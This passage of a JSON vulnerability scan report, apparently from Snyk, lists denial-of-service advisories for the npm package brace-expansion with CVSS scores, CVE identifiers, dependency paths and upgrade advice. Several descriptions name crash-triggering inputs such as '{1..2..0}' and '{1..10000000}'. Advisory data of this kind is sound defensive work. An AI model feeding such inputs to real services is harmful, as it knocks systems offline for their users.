Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub 